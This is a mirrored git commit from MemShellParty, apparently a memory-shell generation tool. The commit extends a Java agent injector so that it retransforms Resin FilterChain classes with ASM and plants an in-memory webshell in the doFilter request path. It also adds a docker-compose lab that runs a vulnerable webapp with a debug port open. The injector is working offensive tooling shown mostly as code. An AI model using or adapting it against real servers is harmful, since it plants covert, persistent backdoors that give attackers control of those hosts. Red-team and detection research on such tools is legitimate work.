mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support resin2 agent shell
This commit is contained in:
+11
-5
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/caucho/server/http/FilterChainFilter",
|
||||
"com/caucho/server/dispatch/FilterFilterChain",
|
||||
};
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
@@ -38,17 +40,20 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (className.equals(targetClass)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
@@ -60,12 +65,13 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
services:
|
||||
resin2117:
|
||||
image: reajason/resin:2.1.17-jdk6
|
||||
container_name: resin2117
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
|
||||
@@ -1,2 +1,2 @@
|
||||
#!/bin/bash
|
||||
pgrep -f Resin | tr -d '\n'
|
||||
pgrep -f 'Resin|-Dresin' | tr -d '\n'
|
||||
Reference in New Issue
Block a user